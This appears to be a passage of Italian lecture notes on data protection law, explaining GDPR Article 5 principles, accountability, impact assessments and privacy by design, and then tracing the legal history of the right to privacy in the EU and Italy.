Ciò che comunque conta è che in entrambi i casi, sia quando siamo di fronte alle condizioni di liceità fondate sul consenso, sia alle condizioni di liceità fondate sulla necessità, stiamo comunque parlando di condizioni, nel senso di presupposti della liceità. Però ciò non vuol dire che il trattamento poi sia lecito del tutto, perché la liceità va considerata in una duplice accezione. La prima accezione è questa legata ai presupposti. Quindi tutti questi requisiti stanno ad indicare quelle che sono le condizioni senza le quali non si può nemmeno iniziare il trattamento, sono la conditio sine qua non del trattamento. Se non abbiamo questa queste condizioni proprio a monte il trattamento non potrà essere lecito. Però la liceità va anche considerata in accezione più ampia quindi una liceità cosiddetta a valle: se quindi a monte guardiamo le condizioni, a valle guardiamo in concreto quelle che sono le modalità in cui tutta l’attività viene realizzata e quindi qui entrano in gioco anche gli altri principi. Innanzitutto il principio di correttezza e il principio di trasparenza. I principi di correttezza e di trasparenza, in particolare all’articolo 5 sono posti allo stesso livello della liceità, quindi liceità, correttezza e trasparenza che devono caratterizzare il trattamento. Il principio di correttezza e il principio di trasparenza come si esprimono in concreto? Tipicamente la loro espressione avviene attraverso l’informativa. L’informativa che deve essere somministrata all’interessato in un senso che sia funzionale alla formazione del suo consenso, della sua volontà di procedere al trattamento dei dati, affinché questo consenso sia appunto consapevole, sia libero. E affinché il soggetto interessato sia reso edotto di tutte quelle che sono le caratteristiche di questo trattamento e tutti i diritti che gli sono riconosciuti in virtù di questo trattamento, quindi l’informativa ci dovrà spiegare come si svolge il trattamento, per quanto tempo dura, quali sono le finalità, in più mi deve anche dire quali sono i miei diritti e quindi pensiamo per esemprio al diritto di accesso, al diritto alla cancellazione dei dati. Quindi la logica dell’informativa che appunto esprime l’essenza dei principi di correttezza e trasparenza è una logica di permettere all’interessato di prestare un consenso che sia informato. La trasparenza peraltro è un principio che generalmente riguarda il tema della tutela dei dati personali un po’ da sempre, però soltanto con il GDPR è stato effettivamente esplicitato, quindi il GDPR in ciò scrive proprio, indica, formalizza, positivizza questo principio di trasparenza come principio guida dell’attività coinvolta al trattamento dei dati personali. La trasparenza in particolare riguarda le modalità con cui i dati vengono trattati e quindi con cui vengono raccolti, con cui vengono utilizzati, con cui vengono consultati, conservati. E’ poi un principio in forza del quale si impone al titolare di indicare tutte le informazioni che deve dare all’interessato e di dare ogni tipo di comunicazione rispetto al trattamento, in un modo che sia facilmente accessibile e comprensibile e in un modo che utilizzi un linguaggio chiaro e semplice. Proprio perché l’interessato è un po’ il soggetto debole di questo rapporto, perché è colui che sta fornendo i suoi dati personali, allora deve conoscere tutte le informazioni possibili sul trattamento nel modo più chiaro, semplice, intellegibile possibile.

Infine la trasparenza a livello di informativa la concretizziamo anche nell’obbligo del titolare di rendere nota la sua identità. Quindi quando dò il consenso al trattamento di dati personali devo effettivamente avere indicato chi è il titolare che si occuperà di questo trattamento e tutte quelle che saranno le finalità del trattamento. Diciamo poi che i confini concreti della correttezza e della trasparenza sono molto poco tracciabili, sono molto sovrapposti tra loro. La correttezza possiamo intendere in un senso più legato al comportamento corretto che il titolare deve avere nei confronti dell’interessato. La trasparenza forse ci riesce a descrivere meglio il fatto che c’è necessità di una massima comprensibilità di tutto ciò arriva nel trattamento mentre la correttezza può riguardare di più i comportamenti che in concreto il titolare tiene nei confronti dell’interessato.

Ovviamente tutti questi principi, appunto correttezza, trasparenza e anche liceità devono perdurare per tutto il rapporto, deve perdurare la concretizzazione di questi principi. Quindi proprio un riconoscimento dell’esigenza che tra titolare e interessato ci sia la massima lealtà nel senso che il titolare deve garantire all’interessato di essere munito di tutti gli strumenti necessari a comprendere le modalità del trattamento, ma anche gli effetti che il trattamento può avere su di lui. Quindi leale comportamento del titolare nei confronti dell’interessato si concretizza in tutto ciò che riguarda poi la possibilità dell’interessato di scegliere liberamente il trattamento e poi di controllarlo, così come la lealtà è anche dall’interessato nei confronti del titolare ad esempio nell’esercizio del diritto all’accesso. Il diritto all’accesso deve essere svolto sempre da parte dell’interessato, in un modo che non sia abusivo, altrimenti, appunto, anche qui la lealtà viene meno. Altro principio importantissimo è il principio di finalità. Il trattamento deve essere sempre finalizzato. Il principio di finalità pone un limite intrinseco proprio all’attività del trattamento, perché il trattamento dei dati deve sempre essere effettuato nell’ambito delle finalità che il titolare ha dichiarato di svolgere, di perseguire. E ovviamente non sono finalità che il titolare sa di voler svolgere, ma sono le finalità che nell’informativa ha dichiarato di voler svolgere, proprio perché tra le finalità che il titolare persegue e le finalità che il soggetto interessato conosce, ci deve essere massima corrispondenza. E anche qui ritroviamo la correttezza di prima. Se il titolare modifica le finalità, ne aggiunge delle altre, ne toglie alcune, deve sempre aggiornare l’informativa e renderne edotto il soggetto interessato. Però, appunto, a monte è necessario individuare delle finalità, usiamo quindi una logica preventiva perché fin dall’inizio devono essere indicate le finalità che si vogliono perseguire e attraverso l’indicazione di queste finalità noi andiamo un po’ a costruire un perimetro dell’attività del titolare, un perimetro dell’attività di trattamento. E ovviamente questo perimetro deve essere inequivocabilmente chiaro e definito, non ci deve essere il dubbio di interpretare in che modo la finalità verrà perseguita, non ci deve essere la possibilità che si creino degli equivoci rispetto a quelle che sono le finalità, tant’è che si parla di finalità costruite in un senso addirittura oggettivo, proprio perché devono essere completamente manifeste ed inequivocabili, proprio perché se così non fosse il soggetto interessato non potrebbe svolgere quell’attività di controllo che dicevamo gli viene riconosciuta.

Quindi questa attività continua nel tempo e io conosco le finalità perchè il titolare nell’informativa me le ha comunicate, però se nel tempo viene svolto ad esempio un cosiddetto trattamento secondario, quindi un trattamento ulteriore rispetto a quello che era stato indicato all’inizio e che quindi può perseguire delle finalità ulteriori, allora il titolare deve indicarlo e questo è un onere che il titolare ha sempre perché deve essere sempre corretto e trasparente nei confronti dell’interessato. E la logica è sempre quella di proteggere il più possibile l’interessato, perché a maggior ragione con il progressivo sviluppo delle tecnologie informatiche, rispetto a quando un soggetto magari ha fornito il consenso la prima volta, nel tempo è possibile che il titolare entri a disposizione di strumenti, di modalità attraverso cui può incidere, impattare in modo più forte, magari rispetto a prima sulla sfera individuale del singolo, può perseguire delle finalità in più per il tipo di attività che svolge quindi la tutela che in questo modo il nostro ordinamento, l’ordinamento europeo garantisce al singolo è una tutela di imporre progressivamente al titolare di essere trasparente rispetto alle finalità che vuole perseguire. Ovviamente questo per quanto riguarda l’ipotesi in cui le finalità cambino o nel caso in cui delle prime finalità se ne aggiungano delle altre. Nell’ipotesi in cui invece le finalità non sono nuove, né  cambiano, ma la finalità per cui l’interessato aveva inizialmente prestato il consenso non è più attuale quindi per esempio l’ipotesi in cui la lo scopo per cui venivano trattati i dati viene conseguito, allora in quel caso il trattamento che avviene dopo il conseguimento dello scopo che era stato dichiarato a quel punto diventa illecito: perché qui non stiamo parlando di un trattamento che si aggiunge, di finalità che si aggiungono e che vanno a completare quello inizialmente ammesso. Se siamo nell’ipotesi in cui lo scopo che era stato dichiarato è terminato, allora questo trattamento dei dati non può più continuare per finalità che vengono introdotte successivamente. Proprio perché non c’è più la condizione per il trattamento di quegli stessi dati, quel titolare non può riutilizzare i dati perché la finalità è conseguita, lo scopo è conseguito. Ovviamente alla conclusione, al raggiungimento dello scopo del trattamento, possiamo considerare equiparabili anche, ad esempio, una sopravvenuta carenza dell’interesse alla protrazione del trattamento o anche una qualsiasi insorgenza di una causa che renda addirittura illegittima la prosecuzione del trattamento.

Ovviamente a fronte di questi obblighi che sono posti a carico del titolare e quindi di rispettare le finalità del trattamento corrispondono i diritti e in questo caso è immaginabile il diritto alla cancellazione. Se per esempio valuto che il trattamento si sta perseguendo oltre le finalità indicate posso chiedere la cancellazione dei miei dati perché ricordiamoci sempre che se c’è un obbligo in capo ad una persona, proprio dal punto di vista di schema della norma, se si pone un obbligo a carico di uno, abbiamo sempre un diritto posto a carico dell’altro soggetto che ad esso si interfaccia. Quindi così come abbiamo l’obbligo delle finalità, abbiamo il diritto dell’interessato a chiedere la cancellazione.

In relazione a queste finalità, l’articolo 5, lettera b dice che le finalità oltre ad essere espresse devono essere legittime e questa legittimità andrà parametrata in funzione dello svolgimento di finalità che possano essere considerati apprezzabili da parte dell’ordinamento, dunque delle finalità dal contenuto positivo rispetto a quanto l’ordinamento naturalmente permette. Nella successiva lettera c ricaviamo il principio di necessità. La lettera c dice che è necessario che i dati abbiano un nesso di pertinenza e di adeguatezza rispetto alle finalità, cioè i dati che il trattamento utilizza, i dati che il titolare tratta sono dati che devono essere pertinenti e adeguati rispetto alle finalità. Quindi il principio di necessità è in senso ampio il principio per cui i dati trattati devono essere necessari per lo svolgimento del trattamento. In questo senso il principio di necessità ci fa intendere che non debbono essere raccolti dati eccedenti rispetto a quelli di cui il titolare ha bisogno. Quindi la logica, la ratio che il legislatore europeo persegue in questa indicazione è che la tutela della persona passa anche dalla riduzione quanto più possibile dei dati che vengono trattati rispetto a quella persona. Tutto ciò che non è necessario non deve essere trattato. In ciò possiamo dire quindi che la necessità descrive quello che viene definito in modo più dettagliato, in modo più specifico il principio di minimizzazione. Il principio di minimizzazione è proprio il principio in forza del quale i sistemi di trattamento dei dati personali devono ridurre al minimo l’utilizzo dei dati che servono. Quindi se lo stesso obiettivo lo posso raggiungere con meno dati o magari con dati anonimi o con degli pseudonimi o comunque con dei dati che non sono tali da ricondurmi direttamente all’interessato, allora devo farlo, io titolare devo rendere il trattamento il meno impattante possibile rispetto all’utilizzo dei dati che si vanno ad ad utilizzare. Non solo, a questo il principio di minimizzazione si affianca sempre il principio di esattezza. Il principio di esattezza lo ritroviamo sempre in questa lettera c, quando ci viene detto che i dati devono essere esatti. Cosa vuol dire che devono essere esatti? Vuol dire che devono essere sempre adeguati a descrivere, a rappresentare l’identità dell’interessato, quindi ciò vuol dire che devono essere anche aggiornati. Quindi l’esattezza include anche l’aggiornamento. Se dei dati non sono più idonei a descrivere, a rappresentare un certo individuo, allora non sono esatti. E quindi non possono essere più utilizzati proprio perché il titolare deve sempre trattare dati ridotti al minimo ma esatti, quindi perfettamente adeguati a descrivere il soggetto da tutelare. La differenza qual è tra questi due principi di minimizzazione e di esattezza: che la minimizzazione pone un limite all’attività del trattamento, perché dal punto di vista qualitativo e quantitativo pone proprio un limite di contenuto all’attività che il titolare svolge. Invece l’esattezza pone in capo al titolare non un limite, ma un onere e cioè l’onere di assicurarsi che ci sia sempre una fedeltà contenutistica delle informazioni che utilizza, cioè le informazioni che utilizza devono essere fedeli, rispondenti a rappresentare adeguatamente il soggetto. E quindi questo vuol dire non solo che questi devono essere fedeli all’inizio ma che anche nel tempo è necessaria una costante progressiva corrispondenza e quindi eventualmente una modifica, un aggiornamento, un’integrazione rispetto ai dati che ha nella sua disponibilità. Anche qui obbligo del titolare di rispettare l’esattezza dei dati, dall’altro lato diritto dell’interessato a chiedere la modifica, l’integrazione e l’aggiornamento dei suoi dati.

La necessità, oltre ad esprimere minimizzazione e esattezza, esprime anche quello che è stato definito il principio di precauzione. La precauzione è un’altra faccia della necessità laddove si richiede al titolare di valutare ex-ante, quindi a priori, che effettivamente il dato sia pertinente rispetto alla finalità. Ecco questa parola pertinente fonda questo principio di precauzione per cui il titolare ha l’onere, ha l’obbligo di accertarsi, di assicurare che i dati che chiede siano pertinenti rispetto al trattamento. Ancora sempre dentro la necessità si esprime il principio di proporzionalità, sempre legato alla quantità e alla qualità dei dati. Proporzionalità che diviene un canone proprio ermeneutico di tutta la disciplina. Peraltro la proporzionalità non riguarda solo il titolare, nel senso che il titolare è tenuto a ponderare l’utilizzo dei dati affinché questo utilizzo sia proporzionato alle finalità che che vuole perseguire ma addirittura con la proporzionalità andiamo ad individuare un canone ermeneutico che oltre a riguardare il titolare riguarda anche i legislatori nazionali. Ciò vuol dire che tutti i legislatori nazionali nel momento in cui intervengono rispetto alla disciplina dei dati personali per ciò che è oltre il GDPR (perché il GDPR è un regolamento, quindi i legislatori nazionali non lo possono modificare, né lo devono implementare a livello nazionale), però per qualsiasi aspetto che tratti i dati personali da un punto di vista di legislazione interna, quindi nazionale degli Stati membri, i legislatori devono sempre essere guidati da questa stella polare della proporzionalità rispetto all’utilizzo dei dati, perché dobbiamo sempre ricordarci che quando noi normiamo la disciplina dei dati personali dobbiamo sempre bilanciare l’obiettivo di tutela della persona con l’obiettivo di circolazione di dati da incentivare, favorire e promuovere nell’ambito di una economia di mercato che si fonda ormai quasi interamente sul digitale, quindi nell’ottica del funzionamento del mercato.

A chiusura dell’articolo 5 abbiamo la positivizzazione di ulteriori principi che sono in particolare il principio di integrità e di riservatezza e il principio di responsabilizzazione del titolare. Il titolare si deve occupare, deve far sì che i dati vengano posti in una condizione di adeguata sicurezza. Adeguata sicurezza vuol dire che devono essere conservati in un modo tale che consenta l’identificazione del soggetto interessato, per il tempo necessario al perseguimento delle finalità e nell’ambito di questa conservazione devono essere adottate tutte le misure necessarie a che non vi sia un trattamento illecito, una dispersione dei dati, la loro perdita, la loro distruzione, la loro cancellazione accidentale o comunque una qualsiasi forma di data breach, quindi di ingerenza di terzi rispetto ai dati detenuti dal titolare. Quindi quando l’articolo 5 dice che questa sicurezza che il titolare deve garantire deve essere adeguata, il concetto di adeguatezza delle misure di sicurezza adottate è un aspetto che riguarda innanzitutto proprio la pretesa nei confronti del titolare. E in secondo luogo ovviamente proprio la considerazione delle misure tecniche organizzative che il titolare pone in essere. In generale il titolare deve adottare le migliori misure possibili contestualizzate alla sua situazione perché ovviamente implementare delle misure di sicurezza dei dati ha un costo. Quindi anche l’adeguatezza la dobbiamo considerare in base al soggetto che è chiamato a porre in essere queste misure di sicurezza in relazione ai costi, in relazione alle possibilità e anche in relazione allo sviluppo tecnologico perché lo sviluppo tecnologico è a sua volta un parametro di sicurezza: magari determinate misure che oggi sono considerate ottimali per proteggere i dati personali nel tempo diventano meno forti, più accessibili più by-passabili magari da esperti di questo tipo di attività. E poi appunto anche lo sviluppo tecnologico oltre ai costi, alle possibilità, è un parametro per valutare l’adeguatezza delle misure che sono scelte dal titolare del trattamento per proteggere i dati. Ciò che emerge un po’ da queste battute su questa parte finale l’articolo 5 è che il GDPR spinge molto per una responsabilizzazione del titolare, quindi il titolare non può ricevere questi dati, trattarli, poi quello che succede succede. Il titolare risponde proprio di tutte le attività che riguardano i dati quindi non soltanto quelle più strettamente legate ad un utilizzo dei dati ma anche alla loro appunto protezione e in questo senso quindi il titolare viene onerato con un obbligo positivizzato di occuparsi sempre di limitare al minimo i rischi che gli interessati corrono una volta che permettono il trattamento dei loro dati personali. La logica è quella di rendere il titolare soggetto responsabile, nel senso di soggetto proattivo, allo sviluppo di ogni attività che sia idonea a garantire la tutela dei diritti e delle libertà fondamentali delle persone fisiche. Perché se io proteggo i dati personali della persona stò proteggendo ovviamente le sue libertà individuali.

Ecco, quindi, che il titolare è tenuto ad adottare tutte le garanzie indispensabili, a utilizzare, a implementare tutte le misure tecniche e organizzative idonee a assicurare la tutela dei dati delle persone fisiche. E ovviamente nel far ciò si dice che deve predisporre delle misure di tutela tecniche, organizzative, giuridiche. Già dall’utilizzo di questi termini riscontriamo come sia un tipo di contesto in cui effettivamente è necessaria la presenza di diverse figure che si occupano di questa attività di controllo del rischio da parte del titolare, proprio perché serve una visione integrata che tenga conto di tutti gli aspetti che vengono toccati dal trattamento, quindi da quelli più strettamente informatici a quelli di attività svolta dal titolare e magari anche quelle appunto più strettamente legali. Ovviamente questa sicurezza deve essere garantita nel tempo, quindi anche questo principio diventa un principio che permea l’intero rapporto perché deve essere garantita in ogni fase dell’attività di trattamento, quindi da intendersi un principio che si sviluppa in senso dinamico, deve essere ridefinita questa adeguatezza delle misure adottate nel tempo in base a quelle che sono le spese da sostenere e i progressi sotto il punto di vista tecnico. Ciò vuol dire che il titolare è tenuto a monitorare nel tempo, ad un’attività di monitoraggio per accertarsi di aver adottato le misure più adeguate, proporzionate in relazione ai rischi perché i rischi anche sono in continuo mutamento. Ciò che è importante è che esprime ancor di più la responsabilizzazione che viene fatta del titolare e che il titolare deve essere addirittura in grado di dare prova in ogni momento di aver rispettato queste regole. Quindi serve anche una formalizzazione da parte del titolare di tutte le attività che svolge per assicurarsi di aver posto in essere le migliori misure possibili. Perché gli può essere richiesto di dimostrare di aver attuato la disciplina GDPR al 100%. In questo senso il principio di responsabilizzazione rispetto al quale vengono svolte tutte le attività di cui sopra viene in qualche modo riportato nel termine della cosiddetta accountability. Si parla di accountability proprio con il termine inglese perché è qualcosa che va oltre la responsabilità, cioè non solo il titolare è responsabile ma in più è tenuto a questo ruolo, a questa funzione proattiva di tutela che insieme possono essere descritti con questa accountability, proprio perché accountability significa rendere conto. Quindi il titolare rende conto sia dal punto di vista di responsabilità sia dal punto di vista di attività che è chiamato a svolgere, quindi l’accountability proprio come un termine che va a permeare tutte le politiche, le procedure, l’agire del del titolare che deve sempre porre in essere questa attività di controllo di gestione e di prevenzione del rischio nello svolgimento del trattamento.

Rispetto all’accountability del titolare emergono, rilevano, due istituti particolari che sono introdotti dal GDPR. Che sono a loro volta l’espressione non solo del principio di responsabilizzazione, dell’accountability del titolare ma anche della minimizzazione che abbiamo visto prima, quindi della necessità. Questi istituti sono due. Il primo è espresso dall’articolo 35 del GDPR ed è la valutazione di impatto. La valutazione di impatto deve essere eseguita, è una valutazione preventiva di impatto, deve essere eseguita ogni volta che il trattamento dei dati personali – di cui bisogna verificare la proporzionalità rispetto alle finalità – presenti dei rischi elevati per i diritti e le libertà delle persone fisiche. Quindi ogni volta che è possibile che ci sia un rischio particolarmente elevato per i diritti e le libertà delle persone fisiche, allora è necessario preventivamente fare questa valutazione di impatto. E se la valutazione di impatto ci dice che effettivamente il rischio che l’interessato corre è particolarmente elevato e le misure adottate dal titolare possono non essere in grado di tutelare l’interessato in modo nel modo opportuno, allora, prima di eseguire il trattamento, il titolare è tenuto a consultare l’Autorità Garante, il Garante per la Protezione dei Dati Personali. Quindi la valutazione di impatto come istituto nuovo introdotto dal GDPR con cui prevenire i rischi che l’interessato può correre in considerazione del trattamento che il titolare vuole svolgere.

Oltre alla valutazione preventiva di impatto, un’altra espressione della dell’accountability è quella che riscontriamo nei metodi cosiddetti di privacy by design e privacy by default, espressi dall’articolo 25 del GDPR. Privacy by design vuol dire protezione fin dalla progettazione, mentre privacy by default vuol dire protezione dei dati per impostazione predefinita. Sono dei metodi di tutela dei dati che il titolare è tenuto ad esercitare nel senso che deve far sì che il trattamento per come è impostato (impostazione predefinita) o per come progettato proprio fin dall’inizio, sia strutturato in un modo tale da impedire o comunque da limitare il più possibile il rischio di un trattamento che non protegga i dati personali. Ovviamente pure qui rientriamo nei principi citati in precedenza. Per esempio facciamo ipotesi di privacy by design, quindi protezione dei dati fin dalla progettazione, come faccio ad assicurarmi di proteggerli al meglio facendo sì che io utilizzi soltanto i dati pertinenti, soltanto i dati necessari, quindi rispettando il principio di minimizzazione, il principio di proporzionalità e principio di necessità al massimo? Sto rispettando la proporzionalità, nel senso che li utilizzo soltanto per il periodo di tempo determinato? Insomma, nel momento in cui sto rispettando tutti questi principi li concretizzo nella progettazione del mio sistema di trattamento e quindi progetto l’attività di trattamento privacy by design, dal design, della progettazione dell’attività di trattamento in modo tale da concretizzare proprio tutti gli obblighi che il GDPR mi pone come titolare. Peraltro, nel momento in cui, nonostante io abbia adottato tutte le misure più adeguate possibili, io titolare mi rendo conto che è avvenuta una violazione dei dati, ho addirittura l’obbligo della cosiddetta data breach notification. Quindi ho l’obbligo di notificare l’avvenuta violazione al Garante e l’obbligo di comunicare l’avvenuta violazione agli interessati. Lo stesso soggetto che tratta i dati rispetto ai quali si è verificata la violazione ha l’obbligo di rendere nota questa notizia sia al Garante così che possa intervenire, sia agli interessati. Peraltro in tutto questo ambito entra in gioco anche un altro soggetto che affianca il titolare che è nominato con l’acronimo di DPO che sarebbe il Data Protection Officer. Questo è un soggetto che tra le varie funzioni che ricopre con riferimento all’implementazione di tutte le regole del GDPR è incaricato in particolare proprio di verificare che il rispetto della normativa privacy sia costante, sia continuo da parte del titolare e infatti è un soggetto che poi si occupa anche di svolgere attività di rapporto, di contatto tra il titolare e l’autorità di controllo e il garante, proprio perché ha questo ruolo di verificare in concreto il rispetto della normativa.

Diritto dei dati – Il diritto alla privacy

Diritto alla riservatezza, privacy e protezione dei dati personali. Evoluzione normativa in Italia e nell’UE e terminologia di base del GDPR.

Penso che partire dal diritto alla privacy sia fondamentale proprio perché è un po’ il centro, oltre che il punto di partenza appunto di ogni discorso che riguarda la tutela e la protezione dei dati. Innanzitutto dobbiamo dire che cos’è la privacy, il concetto di privacy si è molto evoluto negli anni ed è un concetto in continua evoluzione perché ha seguito, segue e continua a seguire l’evoluzione delle tecnologie e in particolare delle tecnologie informatiche.

Il diritto alla privacy nasce in origine nell’Ottocento negli Stati Uniti, nasce nella sua concezione di diritto alla riservatezza. Quindi noi partiamo da una concezione della privacy che coincide del tutto con la riservatezza. In questo significato originario quindi stiamo andando a tutelare la sfera giuridica soggettiva personale, quella che è l’intimità della vita privata e quindi non tanto ovviamente a livello fisico, di solitudine fisica, di lasciar soli fisicamente, ma anche inteso come di evitare l’intrusione nell’intimità della vita del soggetto e quindi a difesa di quelli che sono i valori di dignità di autonomia dell’individuo rispetto appunto alla sua persona.

Questo diritto muta nel tempo perché di fronte ad una società sempre più digitalizzata, di fronte ad una società sempre più toccata dalle innovazioni del digitale e quindi da tutte le tecnologie informatiche, in qualche modo cambia e da diritto alla riservatezza in questo senso inteso passiamo ad una logica quasi più di diritto di libertà informatica. Diritto di autodeterminazione informatica, diritto di protezione rispetto ai propri dati personali. Ovviamente sempre nella logica dell’utilizzo di questi dati che ci riguardano da parte di terzi.

Perché è un contesto in cui, soprattutto grazie alle spinte del digitale, l’informazione circola in dei modi completamente nuovi rispetto al passato. Con una velocità, con una capacità di diffusione nettamente più estesa rispetto a quanto poteva avvenire prima dell’avvento delle tecnologie informatiche e quindi richiede un cambio di passo, un cambio di considerazione perché soprattutto attraverso l’utilizzo di internet, chiunque è in grado in qualsiasi momento, in qualsiasi luogo, di accedere a informazioni che quindi devono essere a questo punto adeguatamente tutelate. Perché chiunque può fare accesso, chiunque le può memorizzare, le può utilizzare e conseguentemente le può anche riutilizzare, può combinarle: può combinare le informazioni tra loro. E questo ha una rilevanza rispetto a quello che può emergere da questa combinazione delle informazioni e quindi dei dati personali delle persone, perché ovviamente attraverso la combinazione di diverse informazioni posso avere delle rappresentazioni virtuali delle persone e attraverso queste rappresentazioni virtuali delle persone allora le posso in qualche modo categorizzare, individualizzare rispetto ai loro gusti, alle loro preferenze, alle loro abitudini. Da qui l’originario diritto alla riservatezza come “right to be let alone” ovviamente diventa un po’ insufficiente e quindi si richiedono delle nuove forme di tutela delle persone fisiche.

Un primo momento di questo percorso si ha innanzitutto con il Trattato sul Funzionamento dell’Unione Europea (l’articolo 16), con il Trattato sull’Unione Europea (all’articolo 39) e in particolare la Carta di Nizza. La Carta di Nizza è la Carta dei diritti fondamentali dell’Unione Europea che all’articolo 8 esprime la definitiva separazione tra la vecchia concezione della privacy e la nuova concezione della privacy, quindi da riservatezza a protezione del trattamento dei dati personali. Perché all’articolo 8 della Carta di Nizza viene proprio posto il diritto alla protezione dei dati personali come un diritto che ha una posizione del tutto autonoma e distinta rispetto alla riservatezza, che infatti è indicata nella Carta di Nizza l’articolo 7. Quindi abbiamo l’articolo 7 che ci parla della riservatezza e quindi del diritto alla riservatezza rispetto alla propria vita familiare e personale privata e poi l’articolo 8 invece il diritto alla privacy modernamente inteso e quindi come diritto di ogni individuo ad essere tutelato di fronte al trattamento dei dati personali che lo riguardano.

Da un punto di vista invece più strettamente di legislazione nazionale, il primo intervento italiano di riconoscimento del diritto alla protezione dei dati personali lo abbiamo nel 1996. Nel 1996 il legislatore recepisce con la legge 675 la direttiva del 1995 n.46. Quindi la prima legge italiana è la 675 del 96 di recepimento della direttiva 46 del 95 che poi è stata in un secondo momento modificata e integrata dal decreto legislativo del 2003 n. 196; quest’ultimo è quello che noi chiamiamo Codice della Privacy. La nostra principale fonte a livello nazionale che finalmente contiene norme relative al trattamento dei dati personali in una duplice ottica: non soltanto come tutela dei diritti della personalità (tutela dell’individuo in quanto tale), ma anche con un primo approccio di regolazione rispetto alla circolazione dei dati personali.

Questo aspetto è estremamente importante perché poi è al centro del regolamento del 2016, il Regolamento Europeo del 2016 n.679, che è noto con l’acronimo GDPR che sta per General Data Protection Regulation: è oggi la nostra fonte principale. Non è venuto meno il Codice della Privacy, è ancora in vigore, però è stato completamente toccato dalla presenza del GDPR. Innanzitutto una nota sulla fonte normativa: il regolamento. Siamo di fronte ad un regolamento dell’Unione Europea, il Regolamento è una fonte normativa comunitaria estremamente importante perché il Regolamento è, in quanto tale, direttamente applicabile in tutti gli Stati membri. Ciò vuol dire che con il Regolamento si vanno a perseguire obiettivi di uniformazione. Questo aspetto è estremamente importante perché il precedente atto normativo dell’Unione Europea era stata una direttiva (la direttiva del 1995 n. 46) e questo è un cambio anche a livello culturale estremamente importante perché la direttiva come fonte di produzione normativa europea ha una funzione diversa. La direttiva deve essere recepita negli ordinamenti nazionali. quindi serve un atto normativo del legislatore nazionale che recepisca la direttiva e le direttive non devono essere applicabili così come sono scritte, perché le direttive impongono obblighi agli Stati da un punto di vista delle finalità, ma non dal punto di vista delle modalità di perseguimento del fine. Pertanto il modo in cui si persegue la finalità può cambiare da Stato a Stato e questo è estremamente rilevante in questa materia, perché se la direttiva deve essere recepita da ogni Stato, ogni Stato, poi, ha la propria legge interna di regolazione di un certo fenomeno, in questo caso la protezione dei dati personali e ciò può condurre ad una frammentazione, frammentazione a livello comunitario può voler dire incertezza e quindi siamo di fronte poi ad un sistema che prevede delle tutele diverse in base allo Stato di appartenenza. Quindi con il Regolamento abbiamo la uniformazione del diritto e con le direttive la cosiddetta armonizzazione.

Ci si è resi conto negli anni che il progresso delle tecnologie informatiche era talmente significativo che occorreva intervenire in modo più incisivo a livello comunitario e quindi si sceglie la strada del Regolamento e il legislatore italiano ha dovuto prevedere con un decreto legislativo, il Decreto legislativo n.101 del 2018, delle norme di coordinamento tra la vecchia disciplina, quindi quella del Codice della Privacy del 2003, e la nuova disciplina del GDPR che è del 2016 ed entrato in vigore nel maggio 2018.  Quindi il decreto legislativo 101 del 2018 si è dovuto occupare di coordinare la disciplina nazionale con quella comune a tutti gli Stati membri dell’Unione europea.

Un aspetto estremamente rilevante del GDPR è che il GDPR porta alla massima valorizzazione e alla massima esaltazione quel dualismo che indicavo prima con riferimento al Codice della Privacy. Perché il GDPR segue un’impostazione duale che però non va letta in una logica di contrapposizione ma invece come una complementarietà degli obiettivi che persegue: da un lato il GDPR ha come obiettivo fondamentale la protezione dell’interessato, quindi il soggetto che subisce il trattamento dei suoi dati personali, accanto c’è però quello della promozione e della tutela della circolazione dei dati. Questa promozione, questa tutela va oltre la sfera dell’individuo perché si pone più in una logica di mercato. Il mercato, l’economia attuale è strettamente fondata attorno alla circolazione dei dati e quindi automaticamente occorreva guardare non solo alla logica della persona, ma anche alla regolazione del fenomeno per come tocca gli aspetti che riguardano l’economia.

La logica diviene quindi quella di tutelare l’individuo e regolare la circolazione delle informazioni.

E quindi possiamo dire che rientra a pieno titolo in quelli che ad oggi consideriamo i diritti fondamentali delle persone, il diritto alla protezione dei dati personali. E sono dei diritti fondamentali anche se in realtà quantomeno in Italia la Costituzione non li nomina. La Costituzione italiana non fa riferimento a questa situazione giuridica soggettiva quindi a quella situazione che riguarda la necessità di proteggere i dati personali delle persone. Ovviamente la nostra Costituzione è troppo risalente e non è stata modificata di recente per introdurre questo aspetto. Benchè non ci sia una indicazione esplicita nella nostra Carta, in realtà nel momento in cui la protezione dei nostri dati personali come diritto fondamentale noi lo andiamo a considerare come un diritto che concerne la circolazione delle nostre informazioni e quindi se si parla di circolazione si parla di rappresentazione verso l’esterno della nostra personalità, cioè si parla di informazioni che ci riguardano che in qualche modo stanno uscendo dalla nostra sfera più stretta, più intima di controllo personale. Quindi in questo senso la circolazione delle informazioni va letta come una esternazione delle caratteristiche della nostra personalità e quindi inevitabilmente va a toccare quella che è la nostra rappresentazione verso l’esterno. Se parliamo di rappresentazione verso l’esterno ci stiamo configurando in una posizione di relazione verso l’esterno quindi relazione con il prossimo, sia il prossimo un’altra persona fisica, sia il prossimo un’autorità pubblica, sia il prossimo un privato che agisce nella sua dimensione di attività commerciale o professionale. E quindi se ci posizioniamo nell’ambito di una attività di relazione possiamo ricondurre questo nuovo riconoscimento del diritto alla protezione dei dati personali all’interno dell’articolo due. L’articolo due, il cosiddetto trasformatore permanente della Costituzione perché è l’articolo che permette più di tutti di adeguare la protezione delle persone rispetto alla trasformazione della società negli anni, permette anche di riconoscere una “casa” per la protezione dei dati personali anche a livello costituzionale: possiamo riconoscere a livello costituzionale interno nell’articolo due in una funzione di costituzionalizzazione. In particolare con riferimento alla Corte Costituzionale vi è una sentenza rilevante addirittura del 73 la n. 38, che è particolarmente rilevante perché ha segnato la giurisprudenza di merito e di legittimità successiva perché con questa sentenza è stato proprio riconosciuto l’inserimento della riservatezza (ovviamente nel 73 ancora non si parlava di trattamento dei dati) all’interno dei diritti inviolabili dell’uomo. Quindi questa concezione della riservatezza, della privacy come un diritto inviolabile e quindi come un valore primario del nostro ordinamento costituzionale.

